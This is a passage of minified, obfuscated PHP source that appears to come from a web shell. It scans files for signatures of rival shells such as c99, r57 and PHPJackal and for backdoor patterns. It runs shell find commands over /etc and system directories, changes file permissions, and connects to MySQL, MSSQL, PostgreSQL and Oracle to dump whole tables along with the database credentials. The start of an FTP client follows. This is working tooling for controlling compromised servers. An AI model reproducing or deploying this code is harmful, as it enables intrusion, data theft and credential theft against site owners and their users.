Fzc3NvdXJjZSl8fGRvc3NlcnZlcigpfHxkb3dubG9hZCgkZmlsZWFkZCwkZmluYW1lKXx8bGJwKCR3Yil8fG9wZW5mKCRwYXJzZWYpfHxwcmludGRyaXZlKCl8fHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpfHxzaXplZSgkc2l6ZSl8fHNxbGNsaWVuVCgp\")),\"Locus\"=>@explode(\"||\",@base64_decode(\"YmJlcnIoKXx8Yzk5ZnNlYXJjaCgkZCl8fGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxjOTlnZXRzb3VyY2UoJGZuKXx8Yzk5c2hleGl0KCl8fGM5OV9idWZmX3ByZXBhcmUoKXx8Yzk5X3Nlc3NfcHV0KCRkYXRhKXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2ZiKCRmbmFtZSwkdGV4dCl8fGNoZWNrcHJveHlob3N0KCl8fGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSl8fGRvc3lheWljZWsoJGxpbmssJGZpbGUpfHxFTlVNRVJBVEUoKXx8ZXJyKCRuLCR0eHQ9JycpfHxlcnIoKXx8ZXgoJGNmZSl8fGV4KCRjZmUpfHxmc19jb3B5X2RpcigkZCwkdCl8fGZzX2NvcHlfb2JqKCRkLCR0KXx8ZnNfbW92ZV9kaXIoJGQsJHQpfHxmc19tb3ZlX29iaigkZCwkdCl8fGZzX3JtZGlyKCRkKXx8ZnNfcm1vYmooJG8pfHxnZXRtaWNyb3RpbWUoKXx8bHNfcmV2ZXJzZV9hbGwoKXx8bHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKXx8bXlzaGVsbGV4ZWMoJGNtZCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNoZWxsZXhlYygkY29tbWFuZCl8fG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpfHxteXNxbF9kdW1wKCRzZXQpfHxteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKXx8bXlzcWxfcXVlcnlfZm9ybSgpfHxteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHBvc2l4X2dldGdyZ2lkKCRnaWQpfHxwb3NpeF9nZXRwd3VpZCgkdWlkKXx8cG9zaXhfa2lsbCgkZ2lkKXx8cnNnX2dsb2IoKXx8cnNnX3JlYWQoKXx8c2VsZlVSTCgpfHxzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KXx8c3RyMm1pbmkoJGNvbnRlbnQsJGxlbil8fHN0cmlwcygmJGFyciwkaz0iIil8fHRhYnNvcnQoJGEsJGIpfHx2aWV3X3Blcm1zKCRtb2RlKXx8dmlld19wZXJtc19jb2xvcigkbyl8fHZpZXdfc2l6ZSgkc2l6ZSl8fHdoaWNoKCRwcil8fHdoaWNoKCRwcik=\")),\"jackal\"=>@explode(\"||\",@base64_decode(\"YXV0aGNyYWNrZVIoKXx8YnJzaGVsTCgpfHxjYWxDKCl8fGNoZWNrc210UCgkaG9zdCwkdGltZW91dCl8fGNoZWNrc3VNKCRmaWxlKXx8Y2hlY2t0aGlzcG9yVCgkaXAsJHBvcnQsJHRpbWVvdXQsJHR5cGU9MCl8fGNoZWNrX3VyTCgkdXJsLCRtZXRob2QsJHNlYXJjaCwkdGltZW91dCl8fGNyYWNrZVIoKXx8ZGljbWFrZVIoKXx8ZG93bmxvYWRpVCgkZ2V0LCRwdXQpfHxlZGl0b1IoJGZpbGUpfHxmaWxlbWFuYWdlcigpfHxmbHVzaGVSKCl8fGZvcm1jcmFja2VSKCl8fGZ0cGNyYWNrZVIoKXx8Z2V0X3N3X25hbUUoJGhvc3QsJHRpbWVvdXQpfHxoYXNoY3JhY2tlUigpfHxoZXh2aWVXKCl8fGhsaW5LKCRzdHI9IiIpfHxpbWFwY3JhY2tlUigpfHxpbWFwbG9naU4oJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCl8fGxpc3RkaVIoJGN3ZCwkdGFzayl8fGxvZ291VCgpfHxtYWlsZVIoKXx8bXlzcWxjbGllblQoKXx8b3BlbmlUKCRuYW1lKXx8cG9wM2NyYWNrZVIoKXx8cG9wM2xvZ2lOKCRzZXJ2ZXIsJHVzZXIsJHBhc3MpfHxwcjB4eSgpfHxzYWZlbW9kRSgpfHxzaGVsTCgkY29tbWFuZCl8fHNob3dpbWFnRSgkaW1nKXx8c2hvd3NpekUoJHNpemUpfHxzbXRwY3JhY2tlUigpfHxzbXRwbG9naU4oJGFkZHIsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxzbm1wY2hlY0soJGlwLCRjb20sJHRpbWVvdXQpfHxzbm1wY3JhY2tlUigpfHxzcWxjcmFja2VSKCl8fHN0cl9yZXBlYXQoJHN0ciwkYyl8fHN5c2luZk8oKXx8d2Vic2hlbEwoKXx8d2hlcmVpc3RtUCgpfHx3aG9pUygp\")),\"SyRiAn\"=>@explode(\"||\",@base64_decode(\"QWJvdXQoKXx8Y2hlY2tmdW5jdGlvTigkZnVuYyl8fGNvbXNoZWxMKCRjb21tYW5kLCR3cyl8fGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl8fENTUygkc2hlbGxDb2xvcil8fEN1cmwoKXx8Y3VycmVudEZpbGVOYW1lKCl8fERlY3J5cHRDb25maWcoKXx8RGlzYWJsZUZ1bmN0aW9ucygpfHxFeGUoJGNvbW1hbmQpfHxmZmlzaGVsTCgkY29tbWFuZCl8fGZvb3RlcigpfHxmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxHZW5lcmF0ZUZpbGUoJG5hbWUsJGNvbnRlbnQpfHxHZXRSZWFsSVAoKXx8Z2V0X3Bhc3MoJGxpbmspfHxHemlwKCl8fEhhcmRTaXplKCRzaXplKXx8aW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlLCRzaXplKXx8TG9nb3V0KCl8fG1hZ2ljUW91dHMoKXx8TVNRTCgpfHxNc1NRTCgpfHxNeVNRTDIoKXx8TXlzcWxJKCl8fG9wZW5CYXNlRGlyKCl8fE9yYWNsZSgpfHxwZXJsc2hlbEwoJGNvbW1hbmQpfHxQb3N0Z3JlU1FMKCl8fHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSl8fFJlZ2lzdGVyR2xvYmFscygpfHxyb290eHBMKCl8fFNhZmVNb2RlKCl8fFNlbGVjdENvbW1hbmQoJG9zKXx8c2hvd1VzZXJzKCl8fFNRbExpdGUoKXx8c3J2c2hlbEwoJGNvbW1hbmQpfHxzdHJfaGV4KCRzdHJpbmcpfHxTdWljaWRlKCl8fHR1bGlzKCRmaWxlLCR0ZXh0KXx8dXBkYXRlKCl8fHdoZXJlaXN0bVAoKXx8d2hpY2goJHByKXx8d2luc2hlbEwoJGNvbW1hbmQp\")),);$content=z9p($file);if(!$content)return false;$cleanct=@preg_replace('\/[\\s\\t\\r\\n\\v]\/','',$content);foreach($knownfunc as $type=>$funcs){$score=0;$count=@count($funcs);$min=@round($count*0.75);foreach($funcs as $func){if(@strstr($cleanct,$func))$score++;}$foundp=@round(($score\/$count)*100);if($score>=$min){if($replace)$replaced=\" : \".(z2q($file)?z9s(\"290\"):z9s(\"291\"));return($foundp==100?$type.$replaced:$type.\" (\".$foundp.\"%)\".$replaced);}}if($possible){if((@preg_match('\/'.@base64_decode(\"KHN5c3RlbXxwYXNzdGhydXxzaGVsbF9leGVjfHBvcGVufHByb2Nfb3BlbikuezAsMTB9\").'\/i',$content)&&@preg_match('\/'.@base64_decode(\"YmFja19jb25uZWN0fGJhY2tkb29yfHI1N3xQSFBKYWNrYWx8UGhwU3B5fEdpWHxGeDI5U2hlTEx8dzRjazFuZ3xtaWx3MHJtfFBocFNoZWxsfGsxcjR8RmVlTENvTXp8RmFUYUxpc1RpQ3p8VmVfY0VOeFNoZWxsfFVuaXhPbnxDOTltYWRTaGVsbHxTcGFtZm9yZHp8TG9jdXM3c3xjMTAwfGM5OXx4MjMwMHxjZ2l0ZWxuZXR8d2ViYWRtaW58U1RVTlNIRUxMfFByIXY4fFBIUFNoZWxsfEthTWVMZU9ufFM0VHxvUmJ8dHJ5YWd8bm9leGVjc2hlbGx8XC9ldGNcL3Bhc3N3ZHxyZXZlbmdhbnM=\").'\/',$content))||@preg_match('\/'.@base64_decode(\"ZXZhbC57MCwxMH1iYXNlNjRfZGVjb2Rl\").'\/i',$content)){if($replace)$replaced=(z2q($file)?\" : \".z9s(\"290\"):\" : \".z9s(\"291\"));return \"Possible backdoor\".$replaced;}}return false;}function z0p($i,$t,$h,$a){$r=z10e(z7i(z6x('<form method=\"POST\" action=\"?\" onsubmit=\"return chkfrm(\\''.$i.'\\',\\''.$t.'\\');\">'.'<input type=\"hidden\" name=\"'.$t.'\" id=\"'.$t.'\">'.$h.z8m(z9s(\"63\"),'chkall(\\''.$i.'\\',true);','7').z8m(z9s(\"64\"),'chkall(\\''.$i.'\\',false);','7').z8m(z9s(\"65\"),'invall(\\''.$i.'\\');','7').z4a('action',$a,'4').z8v(z9s(\"77\"),'7').'<\/form>','11')),'2');return \"<script type=\\\"text\/javascript\\\">document.write('\".@str_replace(\"'\",\"\\\\'\",@str_replace(\"\\n\",\"\",$r)).\"');<\/script>\";}function z4n($f,$i,$id=''){return '<script>document.write(\\'<input type=\"checkbox\" id=\"'.$id.'chk\" name=\"'.$i.'\" value=\"'.$f.'\" onclick=\"changetr(this.id.replace(\\\\\\'chk\\\\\\',\\\\\\'\\\\\\'), this.checked);\" style=\"vertical-align: middle;\">\\');<\/script>';}function z1c(){return \"<script type=\\\"text\/javascript\\\">function fnc_replace(idT,idA,idB){ var strT=document.getElementById(idT).value; var strA=document.getElementById(idA).value; var strB=document.getElementById(idB).value; if(strA !='' && strT.indexOf(strA)!=-1){ var repRegex=new RegExp(strA.escR(), 'g'); document.getElementById(idT).value=strT.replace(repRegex, strB);};}; String.prototype.escR=function(){ var sChars=[ '$', '^', '*', '(', ')', '+', '[', ']', '{', '}', '\\\\\\\\', '|', '.', '?', '\/' ]; var regex=new RegExp('(\\\\\\\\' + sChars.join('|\\\\\\\\') + ')', 'g'); return this.replace(regex, '\\\\\\\\$1');}<\/script>\";}function z3n(){return '<script type=\"text\/javascript\">\r\nif(!document.getElementById){ if(document.all){ document.getElementById=function(){ if(typeof document.all[arguments[0]]!=\"undefined\"){ return document.all[arguments[0]]; } else { return null; };};} else if(document.layers){ document.getElementById=function(){ if(typeof document[arguments[0]]!=\"undefined\"){ return document[arguments[0]]; } else { return null; };};};}\r\nfunction changecls(trid, newcls){ try { document.getElementById(trid).className = document.getElementById(trid).className.replace(\/[a-zA-Z0-9]+\/,newcls); } catch(err){} }\r\nfunction changetr(trid, vbool){ if(vbool){ changecls(trid,\"list3\"); } else { if(trid.substr(0,3) == \"tra\"){ changecls(trid,\"list1\"); } else { changecls(trid,\"list2\");};};}\r\nfunction chkfrm(inid, hid){ var inputs=document.getElementsByTagName(\"input\");var ichk=[];for(var i=0;i<inputs.length;i++){ if(inputs[i].type==\"checkbox\"&&inputs[i].name==inid){ if(inputs[i].checked){ ichk.push(inputs[i].value);};};};if(ichk.length > 0){ document.getElementById(hid).value = ichk.join(\"\\n\"); return true; } else { return false;};}\r\nfunction chkall(inid,vbool){ var inputs=document.getElementsByTagName(\"input\");for(var i=0;i<inputs.length;i++){ if(inputs[i].type==\"checkbox\"&&inputs[i].name==inid){ inputs[i].checked = vbool; changetr(inputs[i].id.replace(\\'chk\\', \\'\\'), vbool); };};}\r\nfunction invall(inid){ var inputs=document.getElementsByTagName(\"input\");for(var i=0;i<inputs.length;i++){ if(inputs[i].type==\"checkbox\"&&inputs[i].name==inid){ if(inputs[i].checked == true){ inputs[i].checked = false; changetr(inputs[i].id.replace(\\'chk\\', \\'\\'), false); } else { inputs[i].checked = true; changetr(inputs[i].id.replace(\\'chk\\', \\'\\'), true); };};};}\r\n<\/script>';}function z3w($var,$f){$val='';if(!empty($f)){$reg='\/\\$'.$var.'\\s*=\\s*([\\'\"]{1})([^\\1\\s\\t\\r\\n]+)\\1\\s*;\/';if(@preg_match($reg,$f,$m)){$val=$m[2];unset($m);}}unset($f);return $val;}function z2a($var,$f){$val='';if(!empty($f)){$reg='\/([\\'\"]{1})'.$var.'\\1[\\s\\t\\r\\n]*=>[\\s\\t\\r\\n]*([\\'\"]{1})([^\\2\\s\\t\\r\\n]+)\\2\/';if(@preg_match($reg,$f,$m)){$val=$m[3];unset($m);}}unset($f);return $val;}function z2p($var,$f){$val='';if(!empty($f)){$reg='\/\\[([\\'\"]{1})'.$var.'\\1\\][\\s\\t\\r\\n]*=[\\s\\t\\r\\n]*([\\'\"]{1})([^\\2\\s\\t\\r\\n]+)\\2\/';if(@preg_match($reg,$f,$m)){$val=$m[3];unset($m);}}unset($f);return $val;}function z1v($const,$f){$val='';if(!empty($f)){$reg='\/define\\s*\\(([\\'\"]{1})'.$const.'\\1\\s*,\\s*([\\'\"]{1})([^\\2\\s\\t\\r\\n]+)\\2\\s*\\)\\s*;\/';if(@preg_match($reg,$f,$m)){$val=$m[3];unset($m);}}unset($f);return $val;}function z4b($type,$var,$f){switch($type){case 'var':return z3w($var,$f);break;case 'const':return z1v($var,$f);break;case 'arrayvar1':return z2a($var,$f);break;case 'arrayvar2':return z2p($var,$f);break;default:return '';}}function z3v($s,$t=0){$reg='[_a-zA-Z0-9-]+(\\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\\.[a-zA-Z0-9-]+)*\\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))';if($t)return@preg_match('\/^'.$reg.'$\/i',$s);$r=array();if(@preg_match_all('\/'.$reg.'\/i',$s,$m)){foreach($m[0]as $em)$r[]=$em;}return@array_unique($r);}function z1r($a,$s=\" and\",$f=array()){if(!@is_array($a))$a=array();$r=\"\";foreach($a as $k=>$v){$p=\"\";if(!@empty($f[$k]))$p.=$f[$k].\"(\";$p.=\"'\".addslashes($v).\"'\";if(!@empty($f[$k]))$p.=\")\";$r.=\"`\".$k.\"` = \".$p.$s;}$r=@substr($r,0,@strlen($r)-@strlen($s));return $r;}function z1q($file,$global=0,$dir=0){$mode=@fileperms($file);if($dir){$arr=($global?array():array(\"act\",\"d\",\"ctarget\"=>$file,\"chmod_submit\"=>\"1\"));}else{$arr=($global?array():array(\"act\",\"d\",\"f\",\"ft\"=>\"functions\",\"ctarget\"=>$file,\"chmod_submit\"=>\"1\"));}if($mode){$perms=z9r($mode,1);$o=@decoct($mode);if(@strlen($o)>4)$o=@substr($o,-4);echo z2b(($dir?z9s(\"123\"):z9s(\"93\")).z9c().z4p($file));echo z10e(z7i(z9j(z5c($arr,z10e(z5n().z7i(z5t(z9s(\"94\",'',1)).z9j(z5y(\"chmod_or\",z9s(\"97\"),\"chmod_o[r]\",\"1\",(($perms[\"o\"][\"r\"])?1:'')).z9c(5).z5y(\"chmod_ow\",z9s(\"98\"),\"chmod_o[w]\",\"1\",(($perms[\"o\"][\"w\"])?1:'')).z9c(5).z5y(\"chmod_ox\",z9s(\"99\"),\"chmod_o[x]\",\"1\",(($perms[\"o\"][\"x\"])?1:''))).z9j(z9c())).z7i(z5t(z9s(\"95\",'',1)).z9j(z5y(\"chmod_gr\",z9s(\"97\"),\"chmod_g[r]\",\"1\",(($perms[\"g\"][\"r\"])?1:'')).z9c(5).z5y(\"chmod_gw\",z9s(\"98\"),\"chmod_g[w]\",\"1\",(($perms[\"g\"][\"w\"])?1:'')).z9c(5).z5y(\"chmod_gx\",z9s(\"99\"),\"chmod_g[x]\",\"1\",(($perms[\"g\"][\"x\"])?1:''))).z9j(z9c(5).z8v(\"Chmod\",\"7\"))).z7i(z5t(z9s(\"96\",'',1)).z9j(z5y(\"chmod_wr\",z9s(\"97\"),\"chmod_w[r]\",\"1\",(($perms[\"w\"][\"r\"])?1:'')).z9c(5).z5y(\"chmod_ww\",z9s(\"98\"),\"chmod_w[w]\",\"1\",(($perms[\"w\"][\"w\"])?1:'')).z9c(5).z5y(\"chmod_wx\",z9s(\"99\"),\"chmod_w[x]\",\"1\",(($perms[\"w\"][\"x\"])?1:''))).z9j(z9c())).z5n(),\"2\"))).z9j(z5c(array(\"act\",\"d\",\"f\",\"ft\"=>\"functions\",\"ctarget\"=>$file,\"chmod_submit\"=>\"1\"),z10e(z7i(z5t(z9s(\"101\")).z9j(z5u(\"chmod_val\",$o,\"1\").z8v(z9s(\"100\"),\"7\"))),\"2\")))));}}function z0d(){global $found,$nix,$sh_exec,$sn,$sn_reg,$s_in,$st,$st_reg,$st_wwo,$st_cs,$st_not,$s_fd,$s_rec;echo z2b(z9s(\"142\")).z6d();$as_fd=array('1'=>z9s(\"144\"),'2'=>z9s(\"145\"),''=>z9s(\"146\"));$a_rec=array(''=>z9s(\"21\"));for($i=0;$i<10;$i++)$a_rec[($i+1)]=($i+1).\" \".z9s(\"145\");$a_rec['no']=z9s(\"22\");$a_paths=array('cwd'=>'cwd','system'=>'system','bin'=>'(s)bin dirs','etc'=>'\/etc');echo z5c(array('d','act'=>'search','ftarget'=>'1'),z10e(z9f(z9j(z10e(z7i(z5t(z9s(\"143\")).z9j(z6i(\"sn\",@htmlspecialchars($sn),'2').z4a(\"s_fd\",$as_fd,'1','1').z4a(\"s_rec\",$a_rec,'1','1').z6p(\"submit\",z9s(\"147\"),'7').' '.z5y('sn_reg',z9s(\"148\"),'sn_reg'))).z7i(z5t(z9s(\"149\")).z9j(z6i(\"s_in\",htmlspecialchars($s_in),\"9\")))).z10e(z7i(z5t(z9s(\"150\")).z9j(z6i(\"st\",@htmlspecialchars($st),\"9\"))).z7i(z5t(\"\").z9j(z5y(\"st_reg\",z9s(\"151\"),\"st_reg\").z9c(\"3\").z5y(\"st_wwo\",z9s(\"152\"),\"st_wwo\").z9c(\"3\").z5y(\"st_cs\",z9s(\"153\"),\"st_cs\").z9c(\"3\").z5y(\"st_not\",z9s(\"154\"),\"st_not\"))))))));echo z6d();if($nix&&$sh_exec){echo z2b(z9s(\"155\")).z6d();global $findaliases,$unixfind,$find_text,$find_in_dir,$find_in_files,$find_defined,$spath,$lsman;if(!@isset($spath))$spath='cwd';$find_result=\"\";if(@isset($unixfind)&&$unixfind==\"1\"&&@isset($find_text)&&!@empty($find_text)&&@isset($find_in_dir)&&!@empty($find_in_dir)&&@isset($find_in_files)&&!@empty($find_in_files)){$find_infiles=@array_unique(@explode(\";\",$find_in_files));foreach($find_infiles as $find_in_file){$find_result.=z9t('find \"'.$find_in_dir.'\" -name \"'.$find_in_file.'\" -print0|xargs -0 grep -E \"'.$find_text.'\"',0);}}echo z5c(array('d','act'=>'search','unixfind'=>'1'),z10e(z7i(z5t(z9s(\"156\")).z9j(z6i(\"find_text\",@htmlspecialchars($find_text),'0').z8v(z9s(\"147\"),'7'))).z7i(z5t(z9s(\"149\")).z9j(z6i(\"find_in_dir\",@htmlspecialchars($find_in_dir),\"9\"))).z7i(z5t(z9s(\"157\")).z9j(z6i(\"find_in_files\",@htmlspecialchars($find_in_files),\"9\")))));echo z5c(array('d','act'=>'search','unixfind'=>'2'),z10e(z7i(z5t(z9s(\"158\")).z9j(z2u(\"find_defined\",$findaliases,\"0\",'1').z4a('spath',$a_paths,'1','1').z8v(z9s(\"147\"),'7').z5y(\"lsman\",z9s(\"159\"),'lsman','1')))));echo z6d();if(@isset($unixfind)&&$unixfind==\"2\"&&@isset($find_defined)&&!@empty($find_defined)){if($spath=='system'){$rep='\/';}elseif($spath=='etc'){$rep='\/etc';}elseif($spath=='bin'){$rep='\/bin \/usr\/bin \/usr\/local\/bin \/sbin \/usr\/sbin \/usr\/local\/sbin';}else{$rep='\"'.$find_in_dir.'\"';}if(@isset($lsman)&&$lsman){$find_defined=@str_replace(' -ls','',$find_defined);}$find_defined=@str_replace('%path%',$rep,$find_defined);$find_result=z9t($find_defined,0);}if(!@empty($find_result)){if(@isset($lsman)&&$lsman){global $ls_a,$act,$fullpath,$nolsmenu,$nohead;$tls_a=@explode(\"\\n\",$find_result);$ls_a=array();foreach($tls_a as $ls){$ls=@trim($ls);if(!@empty($ls)&&!@in_array($ls,$ls_a))$ls_a[]=$ls;}if(@count($ls_a)>0){$act=\"ls\";$fullpath=1;$nolsmenu=1;$nohead=1;}}else{echo z10e(z9f(z6x(z5w('','1',1).@htmlspecialchars($find_result).z5q())),'2').z6d();}}}}class zrc4{function zenc($pwd,$data,$ispwdHex=0){if($ispwdHex)$pwd=@pack('H*',$pwd);$key[]='';$box[]='';$cipher='';$pwd_length=@strlen($pwd);$data_length=@strlen($data);for($i=0;$i<256;$i++){$key[$i]=@ord($pwd[$i%$pwd_length]);$box[$i]=$i;}for($j=$i=0;$i<256;$i++){$j=($j+$box[$i]+$key[$i])%256;$tmp=$box[$i];$box[$i]=$box[$j];$box[$j]=$tmp;}for($a=$j=$i=0;$i<$data_length;$i++){$a=($a+1)%256;$j=($j+$box[$a])%256;$tmp=$box[$a];$box[$a]=$box[$j];$box[$j]=$tmp;$k=$box[(($box[$a]+$box[$j])%256)];$cipher.=@chr(@ord($data[$i])^$k);}return $cipher;}function zdec($pwd,$data,$ispwdHex=0){return zrc4::zenc($pwd,$data,$ispwdHex);}}class my_sql{var $host='localhost';var $port='';var $user='';var $pass='';var $base='';var $db='';var $connection;var $res;var $error;var $rows;var $columns;var $num_rows;var $num_fields;var $dump;function connect(){switch($this->db){case 'MySQL':if(empty($this->port)){$this->port='3306';}if(!@function_exists('mysql_connect'))return 0;$this->connection=@mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);if(is_resource($this->connection))return 1;break;case 'MSSQL':if(empty($this->port)){$this->port='1433';}if(!@function_exists('mssql_connect'))return 0;$this->connection=@mssql_connect($this->host.','.$this->port,$this->user,$this->pass);if($this->connection)return 1;break;case 'PostgreSQL':if(empty($this->port)){$this->port='5432';}$str=\"host='\".$this->host.\"' port='\".$this->port.\"' user='\".$this->user.\"' password='\".$this->pass.\"' dbname='\".$this->base.\"'\";if(!@function_exists('pg_connect'))return 0;$this->connection=@pg_connect($str);if(is_resource($this->connection))return 1;break;case 'Oracle':if(!@function_exists('ocilogon'))return 0;$this->connection=@ocilogon($this->user,$this->pass,$this->base);if(is_resource($this->connection))return 1;break;}return 0;}function select_db(){switch($this->db){case 'MySQL':if(@mysql_select_db($this->base,$this->connection))return 1;break;case 'MSSQL':if(@mssql_select_db($this->base,$this->connection))return 1;break;case 'PostgreSQL':return 1;break;case 'Oracle':return 1;break;}return 0;}function list_dbs(){$tmplist=array();switch($this->db){case 'MySQL':$this->res=@mysql_list_dbs($this->connection);while($tmprow=@mysql_fetch_object($this->res))$tmplist[$tmprow->Database]=$tmprow->Database;break;case 'MSSQL':break;case 'PostgreSQL':break;case 'Oracle':break;}return $tmplist;}function query($query){$this->res=$this->error='';switch($this->db){case 'MySQL':if(false===($this->res=@mysql_query('\/*'.chr(0).'*\/'.$query,$this->connection))){$this->error=@mysql_error($this->connection);return 0;}else if(is_resource($this->res)){return 1;}return 2;break;case 'MSSQL':if(false===($this->res=@mssql_query($query,$this->connection))){$this->error='Query error';return 0;}else if(@mssql_num_rows($this->res)>0){return 1;}return 2;break;case 'PostgreSQL':if(false===($this->res=@pg_query($this->connection,$query))){$this->error=@pg_last_error($this->connection);return 0;}else if(@pg_num_rows($this->res)>0){return 1;}return 2;break;case 'Oracle':if(false===($this->res=@ociparse($this->connection,$query))){$this->error='Query parse error';}else{if(@ociexecute($this->res)){if(@ocirowcount($this->res)!=0)return 2;return 1;}$error=@ocierror();$this->error=$error['message'];}break;}return 0;}function get_result(){$this->rows=array();$this->columns=array();$this->get_num_fields();$this->get_num_rows();switch($this->db){case 'MySQL':while(false!==($this->rows[]=@mysql_fetch_assoc($this->res)));if($this->num_fields){$this->columns=@array_keys($this->rows[0]);if(@count($this->columns)<1)$this->get_columns();@mysql_free_result($this->res);return 1;}@mysql_free_result($this->res);break;case 'MSSQL':while(false!==($this->rows[]=@mssql_fetch_assoc($this->res)));if($this->num_fields){$this->columns=@array_keys($this->rows[0]);if(@count($this->columns)<1)$this->get_columns();@mssql_free_result($this->res);return 1;}@mssql_free_result($this->res);break;case 'PostgreSQL':while(false!==($this->rows[]=@pg_fetch_assoc($this->res)));if($this->num_fields){$this->columns=@array_keys($this->rows[0]);if(@count($this->columns)<1)$this->get_columns();@pg_free_result($this->res);return 1;}@pg_free_result($this->res);break;case 'Oracle':while(false!==($this->rows[]=@oci_fetch_assoc($this->res)));if($this->num_fields){$this->columns=@array_keys($this->rows[0]);if(@count($this->columns)<1)$this->get_columns();@ocifreestatement($this->res);return 1;}@ocifreestatement($this->res);break;}return 0;}function get_num_rows(){$this->num_rows=0;switch($this->db){case 'MySQL':$this->num_rows=@mysql_num_rows($this->res);break;case 'MSSQL':$this->num_rows=@mssql_num_rows($this->res);break;case 'PostgreSQL':$this->num_rows=@pg_num_rows($this->res);break;case 'Oracle':while(false!==(@oci_fetch_assoc($this->res)))$this->num_rows++;break;}}function get_columns(){$this->columns=array();$this->get_num_fields();switch($this->db){case 'MySQL':for($i=0;$i<$this->num_fields;$i++){if(@mysql_field_name($this->res,$i)!==false)$this->columns[]=@mysql_field_name($this->res,$i);}break;case 'MSSQL':for($i=0;$i<$this->num_fields;$i++){if(@mssql_field_name($this->res,$i)!==false)$this->columns[]=@mssql_field_name($this->res,$i);}break;case 'PostgreSQL':for($i=0;$i<$this->num_fields;$i++){if(@pg_field_name($this->res,$i)!==false)$this->columns[]=@pg_field_name($this->res,$i);}break;case 'Oracle':for($i=0;$i<$this->num_fields;$i++){if(@ocicolumnname($this->res,$i)!==false)$this->columns[]=@ocicolumnname($this->res,$i);}break;}}function get_num_fields(){$this->num_fields=0;switch($this->db){case 'MySQL':$this->num_fields=@mysql_num_fields($this->res);break;case 'MSSQL':$this->num_fields=@mssql_num_fields($this->res);break;case 'PostgreSQL':$this->num_fields=@pg_num_fields($this->res);break;case 'Oracle':$this->num_fields=@ocinumcols($this->res);break;}}function parse_fields($table){if(!$this->query('SELECT * FROM `'.$table.'` LIMIT 0,1;'))return 0;return($this->get_result()?$this->num_fields:0);}function count_rows($table){$tmpcount=0;switch($this->db){case 'MySQL':$this->query('SELECT COUNT(*) FROM `'.$table.'`;');if(@is_resource($this->res)){$tmp=@mysql_fetch_array($this->res);$tmpcount=$tmp[0];}break;case 'MSSQL':break;case 'PostgreSQL':break;case 'Oracle':break;}return(@is_numeric($tmpcount)?$tmpcount:0);}function dump($table){if(empty($table))return 0;$this->dump=array();$this->dump[0]='--';$this->dump[1]='-- ----------------------------------------------- ';$this->dump[2]='-- Dump date : '.@date(\"d\/m\/Y H:i:s\");$this->dump[3]='-- PHP shell : '.z8o();$this->dump[4]='-- ----------------------------------------------- ';$this->dump[5]='-- SQL host  : '.$this->host.':'.$this->port;$this->dump[6]='-- SQL user  : '.$this->user;$this->dump[7]='-- SQL pass  : '.$this->pass;$this->dump[8]='-- SQL db    : '.$this->base;$this->dump[9]='-- SQL table : '.$table;$this->dump[10]='-- ----------------------------------------------- ';switch($this->db){case 'MySQL':$this->dump[0]='-- MySQL dump';if($this->query('\/*'.chr(0).'*\/ SHOW CREATE TABLE `'.$table.'`')!=1)return 0;if(!$this->get_result())return 0;$this->dump[]=$this->rows[0]['Create Table'];$this->dump[]='-- ----------------------------------------------- ';if($this->query('\/*'.chr(0).'*\/ SELECT * FROM `'.$table.'`')!=1)return 0;if(!$this->get_result())return 0;for($i=0;$i<$this->num_rows;$i++){foreach($this->rows[$i]as $k=>$v){$this->rows[$i][$k]=@mysql_real_escape_string($v);}$this->dump[]='INSERT INTO `'.$table.'` (`'.@implode(\"`, `\",$this->columns).'`) VALUES (\\''.@implode(\"', '\",$this->rows[$i]).'\\');';}break;case 'MSSQL':$this->dump[0]='-- MSSQL dump';if($this->query('SELECT * FROM '.$table)!=1)return 0;if(!$this->get_result())return 0;for($i=0;$i<$this->num_rows;$i++){foreach($this->rows[$i]as $k=>$v){$this->rows[$i][$k]=@addslashes($v);}$this->dump[]='INSERT INTO '.$table.' ('.@implode(\", \",$this->columns).') VALUES (\\''.@implode(\"', '\",$this->rows[$i]).'\\');';}break;case 'PostgreSQL':$this->dump[0]='-- PostgreSQL dump';if($this->query('SELECT * FROM '.$table)!=1)return 0;if(!$this->get_result())return 0;for($i=0;$i<$this->num_rows;$i++){foreach($this->rows[$i]as $k=>$v){$this->rows[$i][$k]=@addslashes($v);}$this->dump[]='INSERT INTO '.$table.' ('.@implode(\", \",$this->columns).') VALUES (\\''.@implode(\"', '\",$this->rows[$i]).'\\');';}break;case 'Oracle':$this->dump[0]='-- ORACLE dump';break;default:return 0;break;}return 1;}function close(){switch($this->db){case 'MySQL':@mysql_close($this->connection);break;case 'MSSQL':@mssql_close($this->connection);break;case 'PostgreSQL':@pg_close($this->connection);break;case 'Oracle':@oci_close($this->connection);break;}}function affected_rows(){switch($this->db){case 'MySQL':return@mysql_affected_rows($this->res);break;case 'MSSQL':return@mssql_affected_rows($this->res);break;case 'PostgreSQL':return@pg_affected_rows($this->res);break;case 'Oracle':return@ocirowcount($this->res);break;default:return 0;break;}}}class ftp{var $server=\"\";var $port=21;var $user=\"\";var $userDir=\"\";var $password=\"\";var $connection=\"\";var 